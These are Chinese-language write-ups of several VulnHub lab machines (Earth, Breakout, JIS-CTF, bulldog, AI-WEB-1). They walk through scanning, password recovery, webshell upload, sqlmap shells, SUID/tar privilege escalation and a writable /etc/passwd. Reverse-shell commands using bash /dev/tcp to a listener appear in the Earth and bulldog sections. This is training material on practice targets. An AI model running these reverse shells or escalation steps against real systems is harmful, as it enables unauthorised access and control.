vulnhub Earth
一、信息收集
二、端口扫描
三开始渗透
发现直接访问貌似访问不进去,仔细查看nmap扫描结果发现两条dns记录,可以知道192.168.44.133会被dns服务器解析为earth.local,terratest.earth.local。所以如果直接访问192.168.44.133就可能不能访问,需要手动修改 /etc/hosts 信息
记得以管理员身份运行记事本
修改完以后刷新一下DNS缓存
这个时候就可以直接访问页面了
扫描一下网页目录
testingnotes看着像笔记,可能记载了什么,看一眼
根据上面的信息可知,登陆的用户名用的是terra,密码应该需要将
Previous Messages:
37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d40
3714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b45
2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a
与testdata.txt进行异或获得
脚本如下
import binascii # 十六进制密文字符串(2402...0e5a)
c = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a" # 明文消息
m = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."# 将明文转换为十六进制
m = binascii.b2a_hex(m.encode("utf-8")) # 异或运算(存在缺陷)
result = hex(int(c,16) ^ int(m,16))print(result)
有人问为什么是第三个previous message进行异或,因为和其他message异或得到的都是乱码
得到结果然后进行十六进制转文本可以得到
可以看到结果是某个字符串重复
earthclimatechangebad4humans这个就是密码
成功登录可以看到一个命令执行界面
有回显找一找flag,find / -name 'flag',这里一定要加通配符*,这里的flag不是单纯的flag
根据题目描述我们找到了user flag,但是还有个root flag,可以猜到需要提权,使用反弹shell
?远程连接被禁止了
搜了网上佬的wp发现说是将ip地址转化为十六进制就可以绕过
**bash -i >& /dev/tcp/0xc0.0xa8.0x2c.0x85/1234 0>&1**
可以看到earth和root两个用户有/bin/bash,可以执行所有shell命令
貌似没什么鸟用,而且earth用户的uid为100不是0并不是root用户。看了大佬的wp决定试试suid提权(suid文件的特点就是可以使运行者获得和suid文件拥有者一样的权限)
find / -perm -u=s -type f 2>/dev/null
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向
/dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容
发现reset_root是个可执行文件,结合名字我感觉这个文件应该可以用于提权
运行该文件,但是报错说是没检测到重置操作所需要的触发器
这里就不得不用到strace工具了,可以检测linux系统中存在的系统进程问题,神器一般的存在
但是靶机上貌似不能调试,将reset_root给转移到kali上
nc -lvp 5555 > reset_root
在当前主机上启动一个监听服务,监听 TCP 端口 5555。当有任何客户端连接到这个端口并发送数据时,这些数据将被捕获并保存到名为 reset_root 的文件中。常见的应用场景:
]
这里就是将靶机上的文件传输到kali上
看下这个文件具体信息,发现所有者没有执行权限
运行strace ./reset_root
结尾看到运行的时候缺少这三个文件,回靶机看看这三个文件存不存在
这三个文件都不存在,那就创建一个新的文件就好(不过不知道为什么空的文件也可以)
运行reset_root文件可以看到root的密码被改为了Earth
总结
1.第一次利用nc进行文件的传输
2.第一次使用strace工具,用于检测系统问题非常便利
3.反弹shell时ip地址被过滤了可以尝试转化为十六进制(记住不是字符串转十六进制而是十进制转十六进制,这里搞错了好久没反应过来)
4.这次测试一个很大的难点其实在于后台登陆的账号密码,密码是用一段英文文本和很长一段十六进制字符串进行异或得到的
5.第一次尝试suid提权。然后通过修改host文件完成DNS解析
vulnhub 02-Breakout
这次居然都不用改网卡直接给我ip地址了,直接浏览器访问该ip地址
就是一个普通apache安装页面,常规思路看页面源码
:::info
<!-- don't worry no one will get here, it's safe to share with you my access. Its encrypted 😃 ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++. -->
:::
看着像某种加密,丢随波逐流看看(这个用来解密是真牛逼).2uqPEfj3D<P'a-3
在kali里面使用一下nmap查一下开放端口和服务
访问10000端口发现是个登录界面
猜测刚刚解密出来的东西就是密码,但是账号还有待考究,没什么其他信息卡了一会
nmap加了点参数继续扫发现有个20000端口,还有个没见过的smb服务,问问ai看有什么办法利用
:::info
SMB 就是 “共享协议”,Windows 局域网里的“共享文件夹/打印机”全靠它;渗透测试里,看到 445/139 端口开放 就要想到 枚举共享、爆破口令、利用历史漏洞
:::
这里我们利用enum4linux进行信息收集
可以看到收集到一个本地unix用户cyber,这个估计就是账户了
突然·发现20000端口也是一个登录界面诶.......
尝试以后发现就是20000端口的账号密码
这里发现了一个比较抽象的bug,这个后台页面一旦窗口化的话左边的列表就会莫名抽搐并且打不开,一点开就闪退关闭,但是全屏化的话就没有这个问题了(看我wp的同学可以注意一下)
可以看到左下角这里有个类似于终端的标识,其他地方都看了下,没啥可以利用的点,还是先看看终端吧
很轻松就得到了flag,但是这个tar不知道是个什么玩意
看了佬的wp发现还有个flag,还有提权,那我猜测估计就是利用·tar文件进行提权了,
在进行各种目录翻找查看以后在/var/backups里面发现一个隐藏备份文件看着非常可疑,权限少的可怜,我甚至连读取权限都没有,这里就可以利用tar文件(因为tar文件在这个系统是具有读取任意文件的权限的)
但是一个解压缩工具必不可能是通过直接读取来看文件的,我猜测应该是先将要查看的文件压缩然后再解压出来应该就能看了,实践一下就知道了
?为什么会没权限不应该啊
问了ai发现这里不应该这么写,直接用tar命令系统会在环境变量 PATH 中查找可执行文件 tar,也就是系统内置的tar。但是这里我们要明白我们要用的是cyber目录下的tar文件,所以应该先切换到cyber目录然后再用./tar -cvf 1.tar /var/backups/.old_pass.bak,./tar表示是当前目录下的tar指定了的
可以看到成功压缩了(可以看到其实1.tar已经有读取权限了)
接下来就是解压
用cat命令读取一下,可以发现root的密码
我是真的服了,vulnhub的靶机都总是有这样的bug
那就只能反弹shell了
注明:因为开始在vmware上传靶机的时候忘记开NAT模式导致靶机和攻击主机不在一个网段下(我就说为什么一直弹不了shell......)
成功连接了
迫不及待拿着root密码登录,哎这个root成功了也没个动静的,我还以为卡了
切换目录也没有提示,哎
成功获得第二个flag
总结
1.SMB 就是 “共享协议”,Windows 局域网里的“共享文件夹/打印机”全靠它;渗透测试里,看到 445/139 端口开放 就要想到 枚举共享、爆破口令、利用历史漏洞,其中常见的枚举工具有
enum4linux -a 192.168.1.10
smbclient -L //192.168.1.10 -N
crackmapexec smb 192.168.1.0/24
用一句话说枚举共享就是“用 SMB 协议里的合法查询指令,把服务器愿意透露的共享列表、用户列表、策略信息一批批问出来”。
2.linux中文件前面带 "." 的就是隐藏文件例如
一般都是利用ls -al命令将其列出
vulnhub JIS-CTF
一、信息收集
找到第一个flag
得到第二个flag
利用给到的账号密码登录一下
随便传个一句话木马,访问以后发现页面为空白则为上传成功
难道说第三个flag在flag.txt
怎么是空的我造了
原来藏在hint.txt里面
:::info
try to find user technawi password to read the flag.txt file, you can find it in a hidden file ;
:::
看来还有flag,要找用户的密码一般是在/etc/passwd里面看
口令为x说明真实密码在/etc/shadow里面,但是我们权限只有www-data看不了,没有办法提权,那有没有可能flag会在etc目录下呢,看看
:::info
grep -sr technawi /etc/ 在etc目录下
:::
可以看到/etc/mysql/conf.d/credentials.txt文件下有个username是technawi,我草不会technawi的账号密码在这个文件下吧
可以找到第四个flag了
知道账号密码直接ssh远程连接即可,之前有个·flag.txt在蚁剑中直接看是空的,用虚拟终端看说是权限不够,远程连接成功以后再查看就可以知道第五个flag在这里面了
vulnhub bulldog
首先将下载下来的镜像文件导入vmware workstation(记得打开NAT模式,要和攻击靶机kali位于同一网段下),直接打开有可能看不到ip,下面给一篇我感觉不错的文章
vulnhub靶机检测不到IP地址解决办法_练靶机的时候靶机没ip怎么办-CSDN博客
可以看到bulldog靶机的ip地址为192.168.44.130
kali的ip地址为192.168.44.129,确实位于同一网段下
一.信息收集
渗透测试的第一步当然是信息收集,看看靶机的ip和开放端口
方法一:netdiscover -i eth0 -r 192.168.44.0/24
【-i】指定网卡设备
【-r】指定扫描网段
方法二:arp-scan -l
方法三:方法三:nmap -sP 192.168.44.0/24 【直接扫描C段】
【-sP】发现扫描网络存活主机。(直连arp非直连tcp80 icmp)
1.2 端口扫描
得到端口,版本,操作系统等信息
【端口扫描】nmap -sS -T4 -A -p- 192.168.245.136
-sS:半开放扫描:发送 SYN 包到目标端口,根据响应判断端口状态(开放/关闭)
-T4: 设置扫描速度为 **<font style="color:rgb(64, 64, 64);background-color:rgb(236, 236, 236);">T4</font>**
(共 **<font style="color:rgb(64, 64, 64);background-color:rgb(236, 236, 236);">T0-T5</font>**
六级,**<font style="color:rgb(64, 64, 64);background-color:rgb(236, 236, 236);">T4</font>**
为较快速度)
-A:全面系统检测,启用脚本检测和扫描
-p-: 3241扫描 所有端口(1-65535),而不仅是默认的 1000 个常用端口。
3.目录扫描
二.开始渗透
题目要求是要进入根目录查看祝贺消息
admin目录应该是后台管理员登录界面
/dev目录提供了一些关于该网站的一些信息
/robots.txt目录下
暂时没有看到后台登陆的账号密码相关信息,但是在/dev目录点击F12查看页面源代码的时候可以发现一些疑似密码的hash值
哈希值解密依次为
最后一个要钱,可以换一个网站解密试试
解密后可以得到账号nick 密码bulldog 账号sarah 密码bulldoglover
使用后者成功登录
但是提示我没有任何权限,不是哥们
实在没有办法了就只能dirb命令爆破一下子域名了,发现dev目录下还有个shell目录,说不定可以提权
但是这里被过滤了很多命令,甚至切换目录都做不到,这边思索良久决定使用反弹shell,监听本地端口,再将靶机的标准输出输入和错误重定向到我监听的本地端口,但是直接反弹会被过滤
用echo包装一下,成功反弹
查看kali后发现成功监听
进入家目录
进入bulldogadmin,结果发现什么都没有,查了佬的资料才知道要使用ls -al查看隐藏文件夹
hiddenadmindirectory这个名字一看就很敏感,进去看一眼
进入该目录ls -al一下
看看两个文件
note
Nick,I'm working on the backend permission stuff. Listen, it's super prototype but I think it's going to work out great. Literally run the app, give your account password, and it will determine if you should have access to that file or not! It's great stuff! Once I'm finished with it, a hacker wouldn't even be able to reverse it! Keep in mind that it's still a prototype right now. I am about to get it working with the Django user account. I'm not sure how I'll implement it for the others. Maybe the webserver is the only one who needs to have root access sometimes?Let me know what you think of it!-Ashley
hiddenadmindirectory
<gadmin/.hiddenadmindirectory$ cat customPermissionApp
ELF>�@@X▒@8 @@@@@@�88@8@@@ ``8@ ((`(`�TT@T@DDP�tdxx@x@44Q�tdR�td``��/lib64/ld-linux-x86-64.so.2GNU GNU��32S0-t���Ye?�ҏ��o
Iu▒i S�`▒` `(`0`H�H�� !(: libc.so.6puts__stack_chk_failsystem__libc_start_main__gmon_start__GLIBC_2.4GLIBC_2.2.5iiH��t�[H���5��%�@�%�h������%zh������%rh������%jh������%"f�1�I��^H��H���PTI���@H���@H���@������fD�O`UH-H`H��H��vH��t]�H`��f�]�@f.��H`UH��H`H��H��H��H��?H�H��t�H��t]�H`��]�fD�=�uUH���n���]����@� `H�?u���H��t�UH����]�z���UH��H��pdH�%(H�E�1�@������@@������i@�����H�SUPERultH�E�H�imatePASH�E�H�SWORDyouH�E�H�CANTgetH�E�H�U��H���H�H���H���H�u�dH34%(t�'�����DAWAVA��AUATL�%~ UH�-~ SI��I��L)�H�H�������H��t 1��L��L��D��A��H��H9�u�H�[]A\A]A^A_Ðf.���H�H��Please enter a valid username to use root privileges Usage: ./customPermissionApp <username>sudo su root����h���P^�������x���zRx���*zRx$����PF▒J
� �?▒;*3$"D�����A�C
Dd8���eB�B▒�E �B(�H0�H8�M@r8A0A(B B▒B�`����@�@
�@▒▒���o�@H@�@ `@
_▒``@�▒ ▒���o�@���o���o�@(`�@�@�@�@GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 201606098@T@t@�@�@H@��@ �@
@`@
�@�@�@@x@�@`▒` `(`�`▒`8`▒H`�`@@.�@D▒H`S▒`z�@�`������@� `���▒`�(`�`x@▒`+�@; � 8`WiH`5�@p���8`� �@`�@��@e�▒P`��@*▒H`�@�▒ ,H`8 `@crtstuff.c__JCR_LIST__deregister_tm_clones__do_global_dtors_auxcompleted.7585__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entrycustomPermissionApp.c__FRAME_END____JCR_END____init_array_end_DYNAMIC__init_array_start__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE___libc_csu_fini_ITM_deregisterTMCloneTableputs@@GLIBC_2.2.5_edata__stack_chk_fail@@GLIBC_2.4system@@GLIBC_2.2.5__libc_start_main@@GLIBC_2.2.5__data_start__gmon_start____dso_handle_IO_stdin_used__libc_csu_init__bss_startmain_Jv_RegisterClasses__TMC_END___ITM_registerTMCloneTable.symtab.strtab.shstrtab.interp.note.ABI-tag.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.got.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.jcr.dynamic.got.plt.data.bss.comment
这也啥没写啊,想要提权得到root权限看根目录得要密码
但是这也啥都没写啊
继续看佬的wp发现可以用strings命令(strings命令用来提取和显示非文本文件中的文本字符串)
这是唯一看起来比较正常的字符串,仔细观察可以发现H是混淆视听的
拆分出来可以得到SUPERultimatePASSWORDyouCANTgetd,超级密码,大概率就是root的密码了
sudo su,等等,不是哥们,怎么你没有可用终端啊
在佬的提醒下发现可以利用python调用本地的shell
<font style="color:rgb(77, 77, 77);">python -c 'import pty; pty.spawn("/bin/bash")'</font>
成功提权
总结
1、信息收集
目标IP探测 (arp-scan、netdiscover、nmap)
Nmap端口扫描,版本,操作系统扫描等
2、目录扫描
用dirb扫出了许多关键目录(admin和dev页面)
用dirsearch扫描出关键目录
3、敏感文件查找及网页访问
4、MD5破解(在线破解,多个网址试试)
仔细观察网页信息,该靶机主要在/dev目录处前端源码泄露了MD5密码信息
5、登录管理员账号,并在/dev/shell页面利用命令注入漏洞
6、命令注入和nc反弹shell
命令拼接(ls &&echo ‘bash -i >& /dev/tcp/192.168.44.130/4444 0>&1’|bash
nc反弹shell(kali机监听 nc -lvp 4444)
7、权限提升
找root权限用户,找敏感目录,文件
strings的使用
用Python调用本地的shell实现
sudo python -c ‘import pty; pty.spawn("/bin/bash")’
sudo su - root
vulnhub AI-WEB-1
一、信息收集
二、端口扫描
三、开始渗透
经过测试发现存在sql注入漏洞
sqlmap启动,没有加什么waf,很容易就把库跑出来了
再把表给跑出来
感觉没啥用啊,也没有登陆界面啥的
没思路就继续扫目录,主地址扫不出就扫主地址下的目录
成功找到了绝对路径
尝试能不能上马获取靶机权限,发现文件上传页面访问不了
这里就不得不提到sqlmap的一项功能了--os-shell,简单来说就是上传两个php文件,一个负责文件上传,一个负责命令执行
选择4,然后选择2,输入刚刚在phpinfo看到的文件上传页面的绝对路径
可以看到成功传上去两个php文件
获得了一个可以交互的shell但是权限低的可怜,www-data
搜了下发现可以使用sqlmap上马,os-shell连php文件都写不了太fvv了
--file-write后面接要写入的木马 --file-dest为文件在指定服务器上的保存路径(这里因为命令格式问题我换成kali里面的sqlmap了。windows一直写不上去)
页面为空白说明成功写入
蚁剑
进入虚拟终端
三剑客,pwd uname -a,id三个命令用来看自己的权限,所在目录和靶机内核(可以根据靶机内核搜索漏洞利用)
好像并没有搜出什么漏洞可以利用
习惯性看了下/etc/passwd的权限
用户居然有write权限,那直接写入一个root的账号密码进去不就提权成功了吗
利用openssl中的passwd命令生成了一密码,
仿照/etc/passwd的格式将生成的账号密码写入
但是我尝试以zdqjudy身份登录时,发现没有可以使用的终端
总结
1.有的时候单纯扫靶机ip并不能获得所有的线索,实在没线索了可以尝试一下扫靶机ip的子目录
2.三剑客,pwd uname -a,id三个命令用来看自己的权限,所在目录和靶机内核